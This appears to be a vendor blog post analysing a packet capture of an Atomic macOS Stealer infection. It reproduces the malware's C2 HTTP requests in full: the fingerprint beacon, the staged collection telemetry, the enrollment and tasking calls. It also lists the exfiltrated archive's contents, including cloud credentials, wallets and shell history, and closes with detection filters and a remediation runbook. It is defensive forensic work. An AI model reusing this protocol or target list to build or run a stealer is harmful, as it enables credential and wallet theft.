Atomic macOS Stealer (AMOS): Reading the C2 Protocol from a PCAP

What is in the capture

One host does everything that matters: 10.6.9.237, an Apple device (MAC 1c:f6:4c:44:ba:9a) running macOS 26.5.1 on Apple Silicon — we know the exact build because the malware tells the server, more on that shortly. Across roughly 12,956 packets and 47 minutes, 91% of frames are TCP. Strip out the normal macOS background hum — Apple Push, iCloud, a little Shazam, some QUIC — and what is left is a single conversation: 5.4 MB pushed to 178.62.250.99 over plain HTTP on port 80, from a curl/8.7.1 client. That IP never appears in a single DNS query in the whole capture — it is hard-coded into the malware. PcapAI’s free on-screen summary calls it on the first pass:

The free upload summary: one HIGH finding — Automated Exfiltration (T1020) — plus TCP retransmission degradation, before a cent is spent or an account created.

Unlock the report and PcapAI lays the same conclusion on an executive dashboard: Security Risk 60/100, Network Issues 65/100 (Degraded), overall posture ELEVATED, and a single MITRE ATT&CK detection — T1020 Automated Exfiltration, 10.6.9.237 → 178.62.250.99.

The report’s risk dashboard and ATT&CK detection. The numbers are the headline; the rest of this post is the evidence behind them.

Sign 1 — the boot beacon fingerprints the Mac (and uses curl)

Three and a half seconds into the capture, the stealer introduces itself. The very first request to the C2 is a check-in that ships the host’s operating-system fingerprint as JSON. In Wireshark, Follow → HTTP Stream on that conversation shows the whole exchange in the clear:

POST /api/metrics/run?event=started&stage=boot HTTP/1.1
Host: 178.62.250.99
User-Agent: curl/8.7.1
Accept: */*
Content-Type: application/json
user: 4fdvDwBqQ0MnJXyIbL31YLmNu9YYK1g7z5TaPU4DBEk
BuildID: f-9raP6AesPW_PCRZoO1AiG0L7MzsP16p8GDjMizd1s
Content-Length: 68

{"os":"macOS","os_version":"26.5.1","arch":"arm64","locale":"en_US"}

HTTP/1.1 204 No Content
Server: nginx

Everything an analyst needs is in those few lines. Two custom headers do the identifying: user: is a per-victim or per-build token, and BuildID: is the campaign/build identifier — both ride along on every subsequent request, so they thread the entire session together. The body is the recon: OS, version, CPU architecture, locale. The server answers 204 No Content from nginx — a telemetry sink that just wants the data and acknowledges receipt.

The boot beacon in Wireshark. The OS fingerprint and the user/BuildID headers are right there in cleartext — no TLS to peel.

Sign 2 — the malware narrates its own theft

Here is the part of this capture you do not usually get to see. Immediately after the boot beacon, the stealer posts a run of stage telemetry — one tiny POST per collection step, each carrying the same 68-byte fingerprint and each answered 204. The query string names the step. Read them in order and you are reading the loot pipeline as it runs:

t+3.9s   POST /api/metrics/run?event=started&stage=boot
t+4.3s   POST /api/metrics/run?event=stage&stage=init_session
t+4.4s   POST /api/metrics/run?event=stage&stage=messengers
t+4.4s   POST /api/metrics/run?event=stage&stage=credentials
t+4.5s   POST /api/metrics/run?event=stage&stage=browsers
t+4.5s   POST /api/metrics/run?event=stage&stage=wallets
t+60.4s  POST /api/metrics/run?event=stage&stage=resolve_auth
t+68.6s  POST /api/metrics/run?event=stage&stage=local_data

That is the Atomic Stealer collection set, self-labelled: messengers (Telegram and friends), credentials, browsers, wallets, then a resolve_auth step and a final local_data sweep. The first six fire inside a single second — the modules that read in-memory and on-disk state are instant — while resolve_auth and local_data lag by a minute, which is the malware waiting on the user (the password / Finder-access prompts AMOS is known for) and then walking the filesystem. You are watching the theft happen, narrated by the thief, with timestamps.

Sign 3 — the loot leaves as out.zip, and you can read the manifest

Interleaved with the stage beacons, the same host makes three POST /contact requests — multipart/form-data uploads, each a form field named file with filename out.zip. Two are small partial pieces (3 KB and 3.9 KB, the first tagged with an X-Partial: 1 header); the third, at t+87.7s, is the whole archive: 3,439,626 bytes — 3.44 MB, pushed with an Expect: 100-continue handshake. That single upload is the stolen data leaving the machine.

And because it is plain HTTP, the ZIP’s central directory — the list of file names inside the archive — rides over the wire in cleartext, even though the file contents are compressed. So the capture tells you exactly what was taken:

out.zip
├─ info                 (system + run metadata)
├─ username
├─ installedSoft        (installed-application inventory)
├─ Telegram Data/       (messenger session data)
├─ deskwallets/
│    ├─ TonKeeper/       (desktop crypto wallet)
│    └─ Binance/
└─ FileGrabber/
     ├─ aws/             (~/.aws credentials)
     ├─ gcloud/          (Google Cloud SDK config)
     ├─ docker/          (Docker config / tokens)
     ├─ filezilla/       (saved FTP logins)
     └─ zsh_history      (shell history)

This is a developer’s machine getting cleaned out: a Telegram session, two crypto wallets (TonKeeper, Binance), and a FileGrabber haul of cloud and dev-tool secrets — AWS keys, the gcloud SDK config, Docker tokens, saved FileZilla passwords, and the shell history that ties it all together. No endpoint agent told us that. The packets did.

The exfiltration in Wireshark: a multipart out.zip upload over plain HTTP, ZIP entry names legible in the clear.

Sign 4 — the tasking loop, and a Mac serial in the open

With the data gone, the malware enrolls for ongoing control. At t+91s it posts to /api/join/ — and the body is the most sensitive identifier in the whole capture:

POST /api/join/ HTTP/1.1
Content-Type: application/x-www-form-urlencoded

4fdvDwBqQ0MnJXyIbL31YLmNu9YYK1g7z5TaPU4DBEk
FF40665JVF
2.0

HTTP/1.1 200 OK

mg9WrPzlnvOkUZtiY0oEjw

The build token, then FF40665JVF — what reads as the Mac’s hardware serial number — then a client version, 2.0. The server hands back a session token, mg9WrPzlnvOkUZtiY0oEjw, and from that point on the malware long-polls for jobs: 40 requests of GET /api/tasks/mg9WrPzlnvOkUZtiY0oEjw?v=2.0, each acknowledged with a POST /api/tasks/ack (uid=mg9…&id=22952870), on a steady heartbeat for the rest of the capture. That opaque token is the bot ID; the loop is the C2 keeping the implant alive and reachable. PcapAI’s Top HTTP Paths table reconstructs the whole API surface from the traffic alone:

Straight from the report: a single curl/8.7.1 client, the full /api/tasks control plane, and 48% of bytes sent in the clear.

The exfil is loud: 20.9% retransmission

The free summary flagged a TCP problem next to the security one, and the two are the same event. Pushing a 3.44 MB archive over plain HTTP to a VPS in another country is hard on the path, and it shows: on the connection that carried the upload, Wireshark counts 1,263 retransmissions across 6,032 segments — 20.9%. PcapAI’s root-cause engine ties the knot explicitly: the exfiltration flow to 178.62.250.99 is what is driving the 20.94% retransmission rate and the “Degraded” network score — not a coincidental link problem.

It is a useful reminder that a security incident and a performance incident are often one finding seen from two angles. The same packets that say “you are being robbed” also say “your link to that VPS is dropping one segment in five” — and the second is what a NOC would have noticed first.

Read the noisy findings honestly

Automated analysis earns trust by being right about the ambiguous parts, so here are the two findings that need a human to down-rank them. PcapAI’s correlation engine flagged a 27% NXDOMAIN rate as a likely signal of a malicious process failing service discovery — the kind of thing a domain-generation algorithm produces. The packets say otherwise. Every failed lookup in the capture is benign macOS service discovery: lb._dns-sd._udp.0.9.6.10.in-addr.arpa and lb._dns-sd._udp.mshome.net — Bonjour/DNS-SD probing for printers and shares on the local segment. The malware never used DNS at all; it talked to a hard-coded IP. So the NXDOMAIN rate is real but it is the OS being the OS, not the implant. I would not escalate on it.

The cadence claim deserves the same precision. The on-screen summary rounds the beaconing to “~10 seconds”; measured at the request level it is two different rhythms — the eight collection beacons compressed into the first seconds, then the tasking heartbeat running roughly once a minute for the rest of the capture. The exact period is less important than the shape: machine-regular, unattended, for 47 minutes straight. That is the signature, and it holds.

One more honest note on attribution: the file name says AMOS, and the behavior — the staged messengers/credentials/browsers/wallets collection, the FileGrabber module, the curl-based HTTP, the /api/join+/api/tasks protocol — matches the Atomic Stealer family. A PCAP confirms what crossed the wire; pairing it with the dropped binary is what nails the strain. The traffic alone is already enough to act.

The verdict

Stacked together, the capture is an open-and-shut compromise of one endpoint: an OS fingerprint, eight self-labelled collection stages, a 3.44 MB loot archive, and a persistent tasking loop — all to a single hard-coded server, all in cleartext. PcapAI scores it ELEVATED and, more useful than the score, correlates the security and TCP findings into one chain rather than two unrelated alerts. The executive summary writes the remediation for you.

The report’s executive summary and root-cause correlation — exploitation confirmed, the exfil tied to the retransmission storm, and a short-term action list.

Translated to an incident runbook: isolate 10.6.9.237 now; add an egress block for 178.62.250.99 and the surrounding DigitalOcean range (AS14061); then image the host for the dropper. And because the loot already left at t+88s, treat everything in that out.zip as burned: rotate the AWS keys, the gcloud and Docker tokens, the FileZilla logins, the Telegram session, and move the crypto wallets. Do not wait for confirmation — the packets are the confirmation.

Indicators of compromise

From this public sample — treat as historical, since stealer infrastructure rotates quickly:

Catch it in your own captures

You will not see this exact token or IP again, but the behaviors generalize, and each is a one-line hunt in Wireshark or tshark:

• A curl User-Agent to a bare IP. Native macOS apps do not use it. http.user_agent contains "curl" surfaces this whole class in one filter.
• Telemetry that names its own stages. Query strings like stage=wallets or stage=credentials are a gift — http.request.uri contains "stage=" and read what it admits to.
• A multipart upload of a .zip to an IP with no DNS name. Filter http.request.method == "POST" && mime_multipart; on plain HTTP the archive’s file list is right there in the bytes.
• A hard-coded C2 IP. A destination that carries the most bytes yet never appears in any DNS query is a strong tell — legitimate services resolve a name first.
• A fixed-interval poll to one host. Set the time column to “Seconds since previous displayed packet,” filter to the destination, and watch the deltas line up into a heartbeat.

Running those checks by hand on every capture is the job. Running them in under five minutes on every capture is the point of automating it — PcapAI runs these and 40+ others, maps each hit to its MITRE ATT&CK technique, and hands back a PDF you can staple to the ticket.